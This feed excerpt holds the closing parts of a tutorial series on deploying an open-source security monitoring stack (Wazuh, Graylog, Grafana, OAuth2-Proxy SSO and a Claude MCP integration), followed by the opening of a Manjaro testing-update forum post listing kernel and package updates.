explanation texts from the message catalog<br>journalctl -xeu &lt;service&gt;</pre><p>Where &lt;service&gt; can be any of the following:</p><ul><li>wazuh-dashboard</li><li>wazuh-indexer</li><li>wazuh-manager</li><li>graylog-server</li><li>mongod</li><li>grafana-server</li><li>oauth2-proxy</li><li>fluent-bit</li><li>nginx</li><li>redis-server</li></ul><p><strong>Log file paths<br></strong>For direct access to log files:</p><pre>tail -f &lt;path&gt;</pre><ul><li>Wazuh-Indexer /log/wazuh-indexer/wazuh-cluster.log</li><li>Graylog /log/graylog/server.log</li><li>MongoDB /log/mongodb/mongod.log</li><li>Grafana /log/grafana/grafana.log</li><li>Fluent Bit /log/fluent-bit/td-agent-bit.log</li><li>OAuth2-Proxy /log/oauth2-proxy/oauth2.log</li><li>Nginx /log/nginx/error.log</li><li>Redis /log/redis/redis-server.log</li></ul><p><strong>Known issue: unexpected server restart</strong></p><p><strong>Symptom:</strong> Wazuh Manager fails to start after an unexpected server restart. The log shows:</p><pre>ERROR: Another instance is locking this process. If you are sure that<br>no other instance is running, please remove<br>/var/ossec/var/start-script-lock/</pre><p><strong>Cause:</strong> Wazuh creates a lock directory when starting and removes it on clean shutdown. If the server restarts abruptly (power cut, OOM killer, etc.), the directory remains and the next startup fails.</p><p><strong>Solution:</strong> Remove the lock directory manually and start service.</p><pre>rm -rf /var/ossec/var/start-script-lock/<br>systemctl start wazuh-manager</pre><p><strong>Recommended diagnostic approach</strong></p><p>When something isn’t working, the recommended review order is:</p><ol><li><strong>Is the service running?</strong> systemctl status &lt;service&gt;</li><li><strong>Any recent errors?</strong> journalctl -xeu &lt;service&gt; --since "10 minutes ago"</li><li><strong>Does the service’s own log file have more detail?</strong> tail -50 &lt;log_path&gt;</li><li><strong>For network issues between components:</strong> verify ports are listening<br>ss -tlnp | grep &lt;port&gt;</li><li><strong>For authentication issues:</strong> check the OAuth2-Proxy log and the headers Nginx is sending.</li></ol><p>The most frequent problems in this implementation were:</p><ul><li>Incorrect indentation in fluent-bit.conf (service starts without errors but doesn't process data).</li><li>Wazuh TLS certificate not included in Graylog’s JKS (connection silently rejected).</li><li>Service startup order: MongoDB must be running before Graylog.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Fx4TRiVvV9Z3fiR3.png"></figure><h3>Authentication: SSO and Integration Graylog with Wazuh</h3><p><strong><em>Part 11</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wl3X9Hdfe8RZMX7lY0agwQ.jpeg"></figure><p>This is the most complex article in the series. Up to this point, all components are installed, but each has its own authentication system. The goal of this article is to configure the three solutions to accept the user identity propagated by OAuth2-Proxy via Nginx — completely eliminating local passwords from the daily login cycle.</p><blockquote><em>⚠</em><strong><em> Important</em></strong><em>:</em> Follow the order A-&gt;B-&gt;C-&gt;D. Configuring proxy authentication on a system before the user has been created will result in loss of access.</blockquote><blockquote>Verify the response of each curl command before proceeding.</blockquote><pre># Create random passwords for users<br><br>cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1</pre><p><strong>How Proxy Authentication Works</strong></p><p>The mechanism is as follows: Nginx validates the user’s identity with OAuth2-Proxy and then injects the username as an HTTP header x-proxy-user in each request to applications. Each application must be configured to trust this header and automatically assign roles.</p><p><strong>Continue with the following four steps:</strong></p><h4>11-A. Wazuh OAuth2</h4><pre># Reload systemctl and start services<br><br>systemctl daemon-reload<br>systemctl start oauth2-proxy wazuh-manager wazuh-indexer wazuh-dashboard</pre><blockquote>Startups may take some time. Check the logs for errors before continuing.</blockquote><p><strong>Creating Role Mapping</strong></p><p>Wazuh needs a role mapping that associates the username propagated by the proxy with the administrator role.</p><p><strong>Option A — Web<br></strong>https://wazuh.&lt;domain.com&gt;/app/security#/security?tab=roleMapping</p><blockquote>Use the “admin” credential from the “wazuh-passwords.txt” file.</blockquote><ul><li>Role mapping name: ProxyAuth</li><li>Roles: administrator</li><li>Custom rules → “Add new rule”</li><li>User field: user_name</li><li>Search operation: MATCH</li><li>Value: &lt;AD_user&gt;</li></ul><p><strong>Option B — API</strong></p><blockquote>Use the “wazuh-wui” credential from the “wazuh-passwords.txt” file.</blockquote><pre># Generate token<br><br>token=$(curl -u wazuh-wui:&lt;password&gt; -k -X POST "https://localhost:55000/security/user/authenticate?raw=true")</pre><pre># Create rule<br><br>curl -k -X POST "https://localhost:55000/security/rules" \<br>-H "Authorization: Bearer $token" \<br>-H "Content-Type: application/json" \<br>-d '{<br>  "name": "ProxyAuth",<br>  "rule": {<br>    "MATCH": {<br>      "user_name": "&lt;AD_user&gt;"<br>    }<br>  }<br>}'</pre><blockquote>Rule created with ID: 100</blockquote><pre># Assign the rule to the administrator role<br><br>curl -k -X POST "https://localhost:55000/security/roles/1/rules?rule_ids=&lt;id_rule&gt;" \<br>-H "Authorization: Bearer $token" \<br>-H "Content-Type: application/json"</pre><p>— — — end options</p><p><strong>Configure proxy authentication in OpenSearch</strong></p><pre># /etc/wazuh-dashboard/opensearch_dashboards.yml - Add and replace (part of the file)<br><br>opensearch_security.auth.type: "proxy"<br>opensearch_security.proxycache.user_header: "x-proxy-user"<br>opensearch_security.proxycache.roles_header: "x-proxy-roles"<br>opensearch_security.proxycache.proxy_header: "x-forwarded-for"<br>opensearch_security.proxycache.proxy_header_ip: "127.0.0.1"<br>opensearch.requestHeadersAllowlist: ["securitytenant","Authorization","x-proxy-user","x-proxy-roles","x-forwarded-for"]</pre><pre># /etc/wazuh-indexer/opensearch-security/config.yml — Enable xff and proxy auth (part of the file)<br><br>xff:<br>  enabled: true<br>  internalProxies: '127\.0\.0\.1'<br><br>proxy_auth_domain:<br>  description: "Authenticate via proxy"<br>  http_enabled: true</pre><pre># /etc/nginx/sites-enabled/wazuh - Enable<br><br>auth_request /oauth2/auth;</pre><pre># Apply changes<br><br>cd /etc/wazuh-indexer/opensearch-security/<br>/usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh \<br>  -cacert /etc/wazuh-indexer/certs/root-ca.pem \<br>  -cert /etc/wazuh-indexer/certs/admin.pem \<br>  -key /etc/wazuh-indexer/certs/admin-key.pem \<br>  -h 127.0.0.1<br>systemctl restart wazuh-dashboard nginx</pre><blockquote>As of now, Wazuh uses OAuth2-Proxy for authentication.</blockquote><p><strong>Custom Backend Roles</strong></p><p>If your goal is to replace the backend role hardcoded with a Group 365:</p><ul><li>In the App Entra ID, add Security Group ID in Token optional Group Claims (Token configuration).</li><li>Next, obtain the Object ID of group 365.</li><li>Duplicate the “all_access” role at: https://wazuh.&lt;domain.com&gt;/app/security-dashboards-plugin#/roles/duplicate/all_access and name it "Group365" for reference.</li><li>Then, go to the mapping page: https://wazuh.&lt;domain.com&gt;/app/security-dashboards-plugin#/roles/edit/Group365/mapuser and paste the Object ID into the Backend roles field.</li><li>In /etc/wazuh-indexer/opensearch.yml, add "Group365" to the list defined under plugins.security.restapi.roles_enabled.</li><li>In Nginx Wazuh Host set auth_request_set $roles $upstream_http_x_auth_request_groups and proxy_set_header x-proxy-roles $roles.</li><li>Restart wazuh-indexer and nginx systemctl restart wazuh-indexer nginx</li></ul><p><strong>References</strong></p><pre># /etc/nginx/sites-enabled/wazuh</pre><pre>location / {<br>   auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   <strong>auth_request_set $roles $upstream_http_x_auth_request_groups</strong>;<br>   <strong>proxy_set_header x-proxy-roles $roles</strong>;<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass <a href="https://localhost/">https://localhost:8080;</a><br>   access_log off;<br>   log_not_found off;<br>  }</pre><pre># /etc/wazuh-indexer/opensearch.yml</pre><pre>plugins.security.restapi.roles_enabled:<br>- "all_access"<br>- "security_rest_api_access"<br>- "<strong>Group365</strong>"</pre><p><strong>Alernative Map Nginx</strong></p><pre># /etc/nginx/nginx.conf</pre><pre>http {<br>  map $upstream_http_x_auth_request_email $http_x_auth_user {<br>    "~^(?&lt;user&gt;[^@]+)@" $user;<br>  }</pre><pre><strong>map $http_x_auth_user $roles {<br>    "&lt;AD_user1&gt;" "&lt;group_object_id&gt;";<br>    "&lt;AD_user2&gt;" "readall";<br>  }</strong></pre><h4>11-B. Connect Graylog to Wazuh Indexer</h4><p><strong>Create user in Wazuh for Graylog</strong></p><blockquote>Graylog needs a user in Wazuh Indexer to be able to index logs.</blockquote><blockquote>Use the “admin” credential from the “wazuh-passwords.txt” file.</blockquote><blockquote>User defined “graylog” (or you can choose another name).</blockquote><p><strong>Option A — Web<br></strong>https://wazuh.&lt;domain.com&gt;/app/security-dashboards-plugin#/users</p><ul><li>Username: graylog</li><li>Password: &lt;password&gt;</li><li>Backend roles: admin</li></ul><p><strong>Option B — API</strong></p><pre># Create user<br><br>curl -k -X PUT "https://127.0.0.1:9200/_plugins/_security/api/internalusers/graylog" \<br>-H "Content-type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "password": "&lt;password&gt;",<br>  "backend_roles": ["admin"]<br>}'</pre><p>— — — end options</p><pre># /etc/graylog/server/server.conf - Enable ElasticSearch connection<br><br>elasticsearch_hosts = https://graylog:&lt;password&gt;@127.0.0.1:9200</pre><blockquote>Use “127.0.0.1” and not “localhost” — Wazuh’s TLS certificate requires the SAN (Subject Alternative Name) to match exactly.</blockquote><h4>11-C. Graylog OAuth2</h4><pre># Start services<br><br>systemctl start mongod graylog-server</pre><blockquote>Use the “admin” credential, <a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#ce08">reference</a>.</blockquote><p><strong>Option A — Web</strong></p><p><strong>Enable header</strong><br>https://graylog.&lt;domain.com&gt;/system/authentication/authenticator/edit</p><ul><li>Enabled: ✓</li><li>Username header: x-proxy-user</li></ul><p><strong>Create user<br></strong>https://graylog.&lt;domain.com&gt;/system/users/new</p><ul><li>First Name: &lt;first_name&gt;</li><li>Last Name: &lt;last_name&gt;</li><li>Username: &lt;AD_user&gt;</li><li>E-Mail Address: &lt;email&gt;</li><li>Assign Roles: Admin</li><li>Password: &lt;password&gt;</li></ul><p><strong>Option B — API</strong></p><pre># Enable header<br><br>curl -X PUT "http://localhost:9000/api/system/authentication/http-header-auth-config" \<br>-H "Content-Type: application/json" \<br>-H "X-Requested-By: cli" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "enabled": true,<br>  "username_header": "x-proxy-user"<br>}'</pre><pre># Create user<br><br>curl -X POST "http://localhost:9000/api/users" \<br>-H "Content-Type: application/json" \<br>-H "X-Requested-By: cli" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "first_name": "&lt;first_name&gt;",<br>  "last_name": "&lt;last_name&gt;",<br>  "username": "&lt;AD_user&gt;",<br>  "email": "&lt;email&gt;",<br>  "password": "&lt;password&gt;",<br>  "roles": ["Admin"],<br>  "permissions": []<br>}'</pre><p>— — — end options</p><pre># /etc/graylog/server/server.conf -Enable and edit<br><br>trusted_proxies = 127.0.0.1/32</pre><pre># /etc/nginx/sites-enabled/graylog - Enable<br><br>auth_request /oauth2/auth;</pre><pre># Apply changes<br><br>systemctl restart graylog-server nginx</pre><h4>11-D. Grafana OAuth2</h4><pre># Start service<br><br>systemctl start grafana-server</pre><p><strong>Create user</strong></p><blockquote>Use the default “admin:admin” credential.</blockquote><p><strong>Option A — Web<br></strong>https://grafana.&lt;domain.com&gt;/admin/users/create</p><ul><li>Name: &lt;name&gt;</li><li>Email: &lt;email&gt;</li><li>Username: &lt;AD_user&gt;</li><li>Password: &lt;password&gt;</li></ul><p>Next screen:</p><ul><li>Enable "Grafana Admin” and change to "Admin" role.</li></ul><p><strong>Option B — API</strong></p><pre># Create user<br><br>curl -X POST "http://localhost:3000/api/admin/users" \<br>-H "Content-Type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d ' {<br>  "name":"&lt;name&gt;",<br>  "email":"&lt;email&gt;",<br>  "login":"&lt;AD_user&gt;",<br>  "password":"&lt;password&gt;"<br>}'</pre><blockquote>Account created with ID: 2</blockquote><pre># Assign global admin<br><br>curl -X PUT "http://localhost:3000/api/admin/users/&lt;user_id&gt;/permissions" \<br>-H "Content-Type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "isGrafanaAdmin": true<br>}'</pre><pre># Assign organization administrator role<br><br>curl -X PATCH "http://localhost:3000/api/orgs/1/users/&lt;user_id&gt;" \<br>-H "Content-Type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "role":"Admin"<br>}'</pre><p>— — — end options</p><pre># /etc/grafana/grafana.ini - Enable and edit<br><br>[auth.proxy]<br>enabled = true<br>header_name = x-proxy-user<br>header_property = username<br>auto_sign_up = false<br>sync_ttl = 3600<br>whitelist = 127.0.0.1</pre><pre># /etc/nginx/sites-enabled/grafana - Enable<br><br>auth_request /oauth2/auth;</pre><pre># Apply changes<br><br>systemctl restart grafana-server nginx</pre><blockquote><em>⚠</em><strong><em> Important:</em></strong><em> </em>For security reasons, replace the default password for the user “admin”.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*LlADIl-n2kYp6S5O.png"></figure><h3>Graylog Ingest: Configuring Data Ingest from Fluent Bit</h3><p><strong><em>Part 12</em></strong></p><p>With all components installed and SSO authentication configured, it’s time to connect the final wires: configure Graylog to receive the events that Fluent Bit sends from Wazuh, and activate all services so that the platform is fully operational.</p><p>Fluent Bit sends Wazuh events to “localhost:5555” in JSON format. Graylog needs an active input listening on that port to process them.</p><p><strong>Option A — Web interface:<br></strong>https://graylog.&lt;domain.com&gt;/system/inputs</p><ul><li>Select input type: Raw HTTP</li><li>Click “Launch new input”</li><li>Configure:<br><strong> </strong>Title<strong>:</strong> Wazuh<br><strong>Bind address:</strong> 127.0.0.1</li><li>Click “Launch Input”</li><li>Follow the wizard to start the input and verify your diagnosis.</li></ul><p><strong>Option B — API:</strong></p><pre># Create RAW HTTP input - Graylog admin credential<br><br>curl -X POST "http://localhost:9000/api/system/inputs" \<br>-H "Content-Type: application/json" \<br>-H "X-Requested-By: cli" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "title": "Wazuh",<br>  "type": "org.graylog2.inputs.raw.http.RawHttpInput",<br>  "global": true,<br>  "configuration": {<br>    "bind_address": "127.0.0.1",<br>    "port": 5555,<br>    "recv_buffer_size": 1048576,<br>    "max_chunk_size": 65536<br>  }<br>}'</pre><blockquote>bind_address: 127.0.0.1 limits listening to the local interface — Fluent Bit runs on the same server, so there’s no need to expose the port externally.</blockquote><blockquote>Standard configuration uses the default stream.</blockquote><p>— — — end options</p><p>With the platform fully configured, we enable automatic service startup and start Fluent Bit to begin receiving events:</p><pre>systemctl enable fluent-bit mongod graylog-server grafana-server oauth2-proxy<br>systemctl start fluent-bit</pre><p>Order matters: MongoDB must be running before Graylog, and OAuth2-Proxy before Nginx. The “enable” command ensures that systemd respects dependencies on future server restarts.</p><p><strong>Verification: Is everything Working?</strong></p><p>Once all services are active, verify the complete flow:</p><ol><li><strong>Fluent Bit is reading Wazuh alerts</strong>:<br><em>tail -f /log/fluent-bit/td-agent-bit.log</em><br>You should see error-free processing lines.</li><li><strong>Graylog is receiving messages</strong>: In the web interface, navigate to Search and verify that messages with the source “wazuh” are arriving.</li><li><strong>SSO Authentication</strong>: Access <a href="https://site.domain.com/">https://site.domain.com</a> from your browser — it should redirect you to the IdP and then return authenticated.</li><li><strong>Grafana connected to Wazu</strong>h: In Grafana, configure a data source pointing to Wazuh and verify that it returns data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_yPCjCev-1VHORsJ.png"></figure><h3>Graylog MCP + Claude: Querying Security Logs in Natural Language with AI</h3><p><strong><em>Part 13</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zafoeeMeYUR77NUv3B4o3w.jpeg"></figure><p>This is the most groundbreaking article in the series. The platform is already operational: Wazuh detects threats, Fluent Bit transports events, Graylog indexes them, and Grafana visualizes them. But there’s an additional layer that completely changes how we interact with security data: <strong>integrating Claude as an AI client on the Graylog REST API — MCP is more than an API; it’s a Bridge</strong>.</p><p><strong>What is MCP and why does it matter?<br></strong>MCP (Model Context Protocol) is a protocol that allows language models like Claude to connect directly with external tools and data sources. In this case, Graylog exposes its API as an MCP server, and Claude acts as an intelligent client that can query, filter, and analyze security logs.</p><p><strong>The change this produces is significant</strong>:</p><ul><li>Instead of building queries in the Graylog interface, the analyst writes in natural language: “<strong>Were there any failed login attempts in the last 2 hours?</strong>”</li><li>Instead of reviewing hundreds of log lines, Claude summarizes the relevant patterns and presents them in context.</li><li>Non-technical users — operators without SIEM experience — can interact directly with the security data.</li><li>Every query is logged in Graylog like any other API interaction, maintaining complete traceability.</li></ul><p><strong>Architecture of integration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*S0hueQdlC9DM7gMt2rQ4IA.jpeg"></figure><p>A specific virtual host was created in Nginx “graylog-mcp” without OAuth2-Proxy — Claude authenticates directly with Basic credentials encoded in base64.</p><h3>Installation</h3><p><strong>On the client:</strong></p><ol><li><strong>NodeJS:</strong> <a href="https://nodejs.org/en/download">https://nodejs.org/en/download</a></li><li><strong>Claude Desktop:</strong> <a href="https://claude.com/download">https://claude.com/download</a></li></ol><h3>Configuration in Graylog</h3><p><strong>Step 1: Enable MCP in Graylog</strong></p><p>https://graylog.&lt;domain.com&gt;/system/configurations/MCP</p><p><strong>Step 2: Create a user token</strong></p><p>Navigate to https://graylog.&lt;domain.com&gt;/system/users → Actions → More → Edit tokens.</p><ul><li>Token Name: &lt;name&gt;</li><li>Token TTL: &lt;time&gt;</li></ul><blockquote>TTL Syntax Examples: for 60 seconds: PT60S, for 60 minutes: PT60M, for 24 hours: PT24H, for 30 days: P30D</blockquote><p><strong>Step 3: Base64 Encoding of Credentials</strong></p><p>The format is "&lt;token&gt;:token” encoded in base64.</p><pre>echo -n "&lt;token&gt;:token" | base64</pre><h3>Claude Desktop Configuration</h3><p>Edit the “claude_desktop_config.json” file in Claude Desktop, usually located in "%APPDATA%\CLAUDE\".</p><pre>{<br>  "mcpServers": {<br>    "Graylog": {<br>      "command": "C:\\Program Files\\nodejs\\npx",<br>      "args": [<br>        "mcp-remote",<br>        "https://graylog-mcp.&lt;domain.com&gt;/mcp",<br>        "--header",<br>        "Authorization: Basic &lt;credential_b64&gt;"<br>      ]<br>    }<br>  }<br>}</pre><blockquote>Replace <em>&lt;domain.com&gt;</em> with your actual domain and <em>&lt;credential_b64&gt;</em> with the base64 value generated in the previous step.</blockquote><p>Restart Claude Desktop and check the connection status in: <br><strong>Settings → Developer</strong></p><blockquote>The state should be running or refer to the logs.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*zf7ollrjFRmyHYCdc_h86w.jpeg"></figure><h3>Real-world use cases</h3><p>Once connected, Claude can answer questions such as:</p><ul><li>“How many critical alerts did Wazuh generate today?”</li><li>“Are there any IPs that repeatedly attempted to connect without success?”</li><li>“Summarize the events of the last 30 minutes”</li><li>“Which services experienced errors in the last 6 hours?”</li></ul><p>The response is not a list of raw logs — it’s a natural language analysis with relevant patterns identified and contextualized.</p><h3>Security considerations</h3><ul><li>Access to graylog-mcp is restricted to HTTPS with a valid certificate.</li><li>Base64-encoded credentials are NOT encrypted — they are only encoded. True security lies in TLS and ensuring the endpoint is only accessible from the corporate network.</li><li>Every request from Claude is logged in the Graylog access log, maintaining a complete audit trail.</li><li>Rotating the token periodically is a best practice.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*7AWAjKALkSFXqCSq.png"></figure><h3>Final Architecture, evidences, and Conclusions: An Open Source Security Platform in Production</h3><p><strong><em>Part 14</em></strong></p><p>This is the final article in the series. After thirteen articles covering each component of the stack — from Wazuh to integration with Claude via MCP — it’s time to see the big picture and reflect on what worked, and what cost more than expected.</p><p><strong>Wazuh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*G6ujNdCoZjnmY0KGutYgNA.jpeg"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3VN36Y05Vkaht3BXX6GEg.jpeg"></figure><p><strong>Graylog</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Nq4JG1ZvNYDUTqWPnv7Rg.jpeg"></figure><p><strong>Grafana</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r6nrI73XCYVg_nZxowlhsQ.jpeg"></figure><p><strong>Claude</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*oUVy7cQSqs-d1XaWjqPVaw.jpeg"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*gSsxbeKhCf35sRQ6aouAlg.jpeg"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*xa9tIbOpgwLipnlUrvmV3g.jpeg"></figure><h3>The Complete Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vmW0rU3czxIzuIfjyuSisw.jpeg"></figure><p>The diagram shows two main flows that coexist on the platform:</p><h3>Data Flow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*SLgK1QVdKfN8UV1mCvb1mA.jpeg"></figure><p>Wazuh detects events and writes them in JSON format. Fluent Bit continuously reads this file and forwards each event to Graylog via TCP. Graylog indexes the data to Wazuh Indexer (returns the connection to OpenSearch). Grafana connects to Wazuh as a data source for dashboards. Claude accesses the Graylog MCP Bridge for natural language queries.</p><h3>Authentication Flow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*-0uEx_oWBnDzzvJ60tbKnw.jpeg"></figure><p>The user accesses any of the three systems with their corporate account. Nginx queries OAuth2-Proxy on each request. OAuth2-Proxy validates the session (stored in Redis) or redirects to IdP for authentication. Once authenticated, Nginx propagates the username as an HTTP header to the corresponding application.</p><h3>Lessons Learned</h3><p><strong>What worked well:</strong></p><ul><li><strong>Separate LVM volumes</strong> — the best implementation decision. On three occasions, logs grew larger than expected; none of these affected the operating system or application data.</li><li><strong>Single authentication point</strong> — after the initial (and complex) setup, the user experience is seamless. One login for three systems.</li><li><strong>Fluent Bit vs. Filebeat</strong> — Fluent Bit’s resource consumption is significantly lower. On a shared server, this matters.</li><li><strong>Graylog MCP + Claude</strong> — the most differentiating component. It completely changed how non-technical users interact with security data.</li></ul><p><strong>What cost more than expected</strong>:</p><ul><li><strong>TLS between Graylog and Wazuh Indexer</strong> — the JKS and CA certificate import is the step with the most incorrect documentation online. The guide in this article reflects what actually works.</li><li><strong>Order of operations in Authentication</strong> — configuring the authentication proxy before creating users results in loss of access. The order matters.</li></ul><h3>Is it worth it?</h3><p>For an organization that wants true visibility into its infrastructure without paying for commercial SIEM tool licenses (which can cost tens of thousands of dollars annually), the answer is yes.</p><p>The real cost is implementation time and technical expertise. This well-documented stack can be replicated in a single workday using this guide. The necessary technical knowledge includes Linux administration, basic TLS concepts, and reading the official documentation.</p><p>What you get in return is a security platform with features comparable to commercial solutions, complete control over your data, no vendor lock-in, and the ability to extend it with any component you need.</p><h3>About this series</h3><p>This implementation was carried out in production for the IT Infrastructure. All documentation reflects real decisions, real problems, and solutions that work in production.</p><p>If you have questions, found a bug, or want to share an improvement, the comments are open.</p><blockquote><strong><em>Your Turn — Operational Ownership</em></strong></blockquote><blockquote>From here, the real value comes from how you adapt it to your environment. As the operator or administrator, the next layer is yours to build:</blockquote><blockquote><strong><em>Graylog:</em></strong> Create dedicated indexes and streams per data source; build a JSON extractor for the message field to enable structured search.</blockquote><blockquote><strong><em>Vulnerability visibility:</em></strong><em> </em>A custom script can reindex Wazuh’s vulnerability summary index and inject it into Graylog via a new GELF HTTP input — all through the APIs — making vulnerability summaries available in Grafana dashboards .</blockquote><blockquote><strong><em>Alerting and reporting:</em></strong> Define alert conditions and scheduled reports based on what matters to your organization.</blockquote><blockquote><strong><em>Grafana dashboards:</em></strong> Design views tailored to what your team or clients actually need to see.</blockquote><blockquote><strong><em>API automation:</em></strong> Build scripts to automate recurring calls across the stack.</blockquote><blockquote><strong><em>Threat intelligence:</em></strong> Cross-reference events with NIST NVD and CISA KEV for deeper context and custom correlations.</blockquote><blockquote>If you have questions or need guidance on the operational side, feel free to reach out — happy to support within my availability.</blockquote><p><strong>Author:</strong><em> Antonio Valenzuela Serra </em><strong><em>— </em></strong><em>SysAdmin </em><strong><em>— </em></strong><em>Chile </em><strong><em>— </em></strong><em>May 2026\</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c08d1b412f37" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37">Open Source Security IT Platform: Threat Detection, Logging, Alerts, AI and SSO integration.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-05-18 - Kernels, Heroic Games Launcher, Certbot, Python]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of May, beginning of June. Development speed may be a little slower the upcoming weeks. However, still let us know any issue...]]></description>
<link>https://tsecurity.de/de/3526999/unix-server/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526999/unix-server/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/</guid>
<pubDate>Mon, 18 May 2026 20:00:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of May, beginning of June. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-857430-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-857430-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-857430-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-857430-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>
<h2><a name="p-857430-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-857430-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernel</strong> updates</li>
<li><strong>Heroic Games Launcher</strong> <a href="https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher/releases/tag/v2.22.0">2.22.0</a></li>
<li><strong>certbot</strong> <a href="https://community.letsencrypt.org/t/certbot-5-6-0-release/247163">5.6.0</a></li>
<li>Updates to <strong>python</strong></li>
</ul>
<h2><a name="p-857430-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-857430-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>
